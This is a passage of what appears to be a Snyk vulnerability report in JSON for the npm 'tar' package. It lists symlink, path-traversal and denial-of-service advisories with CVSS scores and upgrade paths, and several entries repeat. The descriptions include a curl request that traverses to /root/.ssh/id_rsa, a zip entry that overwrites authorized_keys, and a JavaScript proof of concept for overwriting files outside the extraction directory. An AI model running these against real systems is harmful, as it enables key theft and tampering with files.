Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile 